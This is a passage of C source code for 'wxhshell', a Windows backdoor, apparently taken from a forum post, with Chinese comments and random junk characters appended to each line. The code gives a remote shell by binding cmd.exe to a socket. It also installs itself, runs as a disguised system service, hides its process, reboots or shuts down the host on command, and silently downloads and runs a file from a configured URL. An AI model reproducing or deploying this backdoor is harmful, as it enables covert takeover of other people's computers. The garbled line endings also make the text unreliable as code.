  else SC/|o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); / qp)n">  
  } h8OmO5/H  
  else { qP=4D 9 ]  
J%]< /J  
    switch(cmd[0]) { -8H0f- 1  
  (`<X9w,  
  // 帮助 f'._{"  
  case '?': { w ryjs!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M|IR7OtLV  
    break; VX#4Gh,~N  
  } 7~(|q2ib  
  // 安装 l>p S23  
  case 'i': { |t](4  
    if(Install()) /sVy"48-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1 XsB  
    else 1Z-f@PoM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J<J_yRg2  
    break; !;EG<ji,gj  
    } zQvp<IUq  
  // 卸载 CJ0{>?  
  case 'r': { + q@kRQY;n  
    if(Uninstall()) 4mNg(w=NF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v53qpqc  
    else Ovu!G q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [AgS@^"sf5  
    break; 6bj.z  
    } Fv_rDTo  
  // 显示 wxhshell 所在路径 *Xm$w  
  case 'p': {  {oQ.y  
    char svExeFile[MAX_PATH]; -:Up$6PR  
    strcpy(svExeFile,"\n\r"); "\0&1C(G  
      strcat(svExeFile,ExeFile); ;.*n77Y  
        send(wsh,svExeFile,strlen(svExeFile),0); 6yZ!K  
    break; mhTi{t_fHM  
    } .[YM0dt  
  // 重启 .KH3.v/c|  
  case 'b': { P")duv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %^1@c f?.  
    if(Boot(REBOOT)) rfj>/?8!@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \Eqxmo  
    else { %C}TdG(C  
    closesocket(wsh); b|_Pt  
    ExitThread(0); VsLlPw{  
    } aN n\URR  
    break; ?8 dd^iX/  
    } ;.Dm?J0  
  // 关机 v 809/c*  
  case 'd': { Ej |rf Y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); PU| X+V>  
    if(Boot(SHUTDOWN)) `yiw<9yp2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cbw@:+%J{  
    else { aH@GhI^@  
    closesocket(wsh); :mOHR&2xR%  
    ExitThread(0); G .PzpBA  
    } 9em?2'ysa  
    break; y"5>O|`  
    } c*iZ6j"iI  
  // 获取shell w,uyN  
  case 's': { .7lDJ2  
    CmdShell(wsh); rDr3)*H?0  
    closesocket(wsh); ^eu={0k  
    ExitThread(0); =2-!ay:  
    break; wLX:~]<xl  
  } ^Yu<fFn  
  // 退出 _G9 vsi  
  case 'x': { oUXi 4lsSc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ZY N HVR  
    CloseIt(wsh); p%MH**A  
    break; /"$A?}V  
    } ?"23XKe  
  // 离开 + Xc s<+b  
  case 'q': { zB,Vi-)vH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >\J({/ #O  
    closesocket(wsh); P'wn$WE[n\  
    WSACleanup(); d"h*yH@  
    exit(1); @D:$~4ks  
    break; j^ y9+W_b  
        } 7r,s+u.  
  } }V@ * :3w8  
  } ,_ zivUU  
e15_$M;RW  
  // 提示信息 AHg:`Wjv-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?ks3K-.4  
} 2QU ZBrs s  
  } RXo!K iQO  
<m") 2dJ  
  return; 2>bTcud>  
} sR(or=ub~  
=1/d>kke  
// shell模块句柄 8oAr<:.=  
int CmdShell(SOCKET sock) k`#OXLR  
{ u1@&o9  
STARTUPINFO si; B;[ai?@c(_  
ZeroMemory(&si,sizeof(si)); ]Tv0+ Ao  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M|HW$8V3_2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -> $]`h"  
PROCESS_INFORMATION ProcessInfo; y,D@[*~Xb  
char cmdline[]="cmd"; 0Yh Mwg?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4FWL\;6  
  return 0; P1gW+*?  
} m {dXN=  
6a_MA*XK  
// 自身启动模式 UaW,#P  
int StartFromService(void) ?vnO@Bb/a  
{ H> zX8qP+  
typedef struct n\X'2  
{ )qyJw N .D  
  DWORD ExitStatus; +JDQ`Qk  
  DWORD PebBaseAddress; X`,=tM  
  DWORD AffinityMask; r4X0. mPY*  
  DWORD BasePriority; *y6zwe !M  
  ULONG UniqueProcessId; S-^:p5{r  
  ULONG InheritedFromUniqueProcessId; Bf)}g4nYn  
}   PROCESS_BASIC_INFORMATION; DQ#rZi3I  
H<Ne\zAv  
PROCNTQSIP NtQueryInformationProcess; q?&Ap*  
&oU) ,H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t[dOWgHi  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; XBvJc'(s  
8Uv2p{ <#  
  HANDLE             hProcess; @ )bCh(u  
  PROCESS_BASIC_INFORMATION pbi; { :^;byd  
~2HlAU))<&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  BVJ6U[h`  
  if(NULL == hInst ) return 0; 5mtsN#  
D7X8yv1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &3@ {?K  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); IdHyd Y1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?.A~O-w  
HITw{RPrW  
  if (!NtQueryInformationProcess) return 0; a/@F?\A  
FrKI=8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?h$ =]  
  if(!hProcess) return 0; bi@z<Xm%  
:!'!V>#g  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?j'Nx_RoX  
Ht{Q=w/ 9  
  CloseHandle(hProcess); %ZKP d8  
?QJS6i'k  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [Yi;k,F:  
if(hProcess==NULL) return 0; IasWm/  
Rhfx  
HMODULE hMod; d ynq)lf  
char procName[255]; 5{PT  
unsigned long cbNeeded; /i[1$/*  
b6]MJ0do  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NZ|(#` X  
bXiOf#:''  
  CloseHandle(hProcess); cs-wqxTX[$  
?W27 h  
if(strstr(procName,"services")) return 1; // 以服务启动 3 |se]~  
Y&![2o.Q  
  return 0; // 注册表启动 =%i~HDiy  
} _l,_NV&T  
dcn/|"jr  
// 主模块 Y<ZaW{%  
int StartWxhshell(LPSTR lpCmdLine) g"KH~bN  
{ ]"wl*$N  
  SOCKET wsl; C6 PlO  
BOOL val=TRUE; 5s7C;+  
  int port=0; z1AYXW6F  
  struct sockaddr_in door; 1Zr J7a7=  
#M)S Ae2  
  if(wscfg.ws_autoins) Install(); 9%^IMUWA  
;YfKG8(0  
port=atoi(lpCmdLine); ?D\6@G:,#@  
q{c/TRp7  
if(port<=0) port=wscfg.ws_port; ,f[`C-\Q%  
3* v&6/K  
  WSADATA data; Gg,&~ jHib  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gP 13n!7  
'(6 ^O=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;^"#3_7T]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); SjmWlf,  
  door.sin_family = AF_INET; 2[V9`r8*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qQ{i2D%)?f  
  door.sin_port = htons(port); 5McOSy  
U65a _dakk  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *"HA=-Z;  
closesocket(wsl); E S>iM)M  
return 1; [YTOrN  
} N!Q~?/!d  
#}lq2!f6  
  if(listen(wsl,2) == INVALID_SOCKET) { !vY5X2?tr,  
closesocket(wsl); `Lr I^9Z  
return 1; myvn@OsEw  
} 32S5Ai@Cd"  
  Wxhshell(wsl); m"|AD/2;(  
  WSACleanup(); o3ZqPk]al  
e.>>al  
return 0; ,|7!/]0&  
gm1 7VrC  
} N t-8[J  
!l7D1i~  
// 以NT服务方式启动  %&81xAt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8 Buus  
{ `,7;2ZG~O  
DWORD   status = 0; D=!T,p=  
  DWORD   specificError = 0xfffffff; D|gI3i  
g,O3\jjQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Iq% 0fX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I;5:jT`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C]f`  
  serviceStatus.dwWin32ExitCode     = 0; -LnNA`-  
  serviceStatus.dwServiceSpecificExitCode = 0; -]-?>gkN5  
  serviceStatus.dwCheckPoint       = 0; `at>X&Ce,  
  serviceStatus.dwWaitHint       = 0; ,UA-Pq3 }  
u 6"v}gN  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kKHGcm^r  
  if (hServiceStatusHandle==0) return; 'VQ mK#  
0{k*SCN#  
status = GetLastError(); qJZ:\u8oO  
  if (status!=NO_ERROR) bkSI1m3  
{ W*!u_]K>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >>I~v)a>w  
    serviceStatus.dwCheckPoint       = 0; \)/dFo\l  
    serviceStatus.dwWaitHint       = 0; BK[ YX)  
    serviceStatus.dwWin32ExitCode     = status; M!#[(:  
    serviceStatus.dwServiceSpecificExitCode = specificError; lDf:~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); IV]2#;OO?  
    return; fEYo<@5c]  
  } |K11Woii  
Y)](jU%o  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =K`]$Og}8  
  serviceStatus.dwCheckPoint       = 0; FJC}xEMcN  
  serviceStatus.dwWaitHint       = 0; ?,AWXiif  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :OC(93d)0  
} IPxK$nI^  
\*r]v;NcP  
// 处理NT服务事件,比如:启动、停止 PpWn+''M  
VOID WINAPI NTServiceHandler(DWORD fdwControl) SJd,l,Gg)  
{ =AVr<kP  
switch(fdwControl) XT<{J8 0z  
{ s4kkzTnXE3  
case SERVICE_CONTROL_STOP: y7LT;`A  
  serviceStatus.dwWin32ExitCode = 0; Rct=v DU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zjlo3=FQX[  
  serviceStatus.dwCheckPoint   = 0; R;3Tyn+  
  serviceStatus.dwWaitHint     = 0; T!3_Q/~^r  
  { .KX LWH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,2/y(JX}*!  
  } m{ VC1BkZ  
  return; #$*l#j"#A  
case SERVICE_CONTROL_PAUSE: j%TcW!D-_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; QBwgI>zfS"  
  break; j{: >"6  
case SERVICE_CONTROL_CONTINUE: lr-:o@q{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /2jw]ekQ'  
  break; Y?b4* me  
case SERVICE_CONTROL_INTERROGATE: 0<4Sw j3s7  
  break; m! H7;S-(  
}; #>[5NQ;$'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !tckE\ h#N  
} 1XD|H_JG<j  
ge@KopZ&  
// 标准应用程序主函数 kE*OjywN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) QmRE<i  
{ XL2iK)A  
+u[?8D7Y  
// 获取操作系统版本 zSM;N^X8?  
OsIsNt=GetOsVer(); Vv<Tjr  
GetModuleFileName(NULL,ExeFile,MAX_PATH); hn p-x3  
=0gfGwD{  
  // 从命令行安装 - )brq3L  
  if(strpbrk(lpCmdLine,"iI")) Install(); se,0Rvkt  
7$/%c{o  
  // 下载执行文件 Kulh:d:w  
if(wscfg.ws_downexe) { HyX:4f|]'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rZSX fgfr  
  WinExec(wscfg.ws_filenam,SW_HIDE); _6/q.  
} Lr;PESV  
lMW4SRk1C  
if(!OsIsNt) { 25-5X3(>j=  
// 如果时win9x,隐藏进程并且设置为注册表启动 e/nc[  
HideProc(); :f|X$> b  
StartWxhshell(lpCmdLine); 1~_&XNb&  
} w=K!U]  
else c=Y8R/G<  
  if(StartFromService()) " +n\0j;  
  // 以服务方式启动 @!MhVNS_<  
  StartServiceCtrlDispatcher(DispatchTable); /'uFX,  
else ZA! yw7~  
  // 普通方式启动 /N?vVp  
  StartWxhshell(lpCmdLine); v<SCh)[-p  
tM&;b?bJ[  
return 0; oyt#CHX  
}
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只看该作者 1 发表于: 2006-10-10
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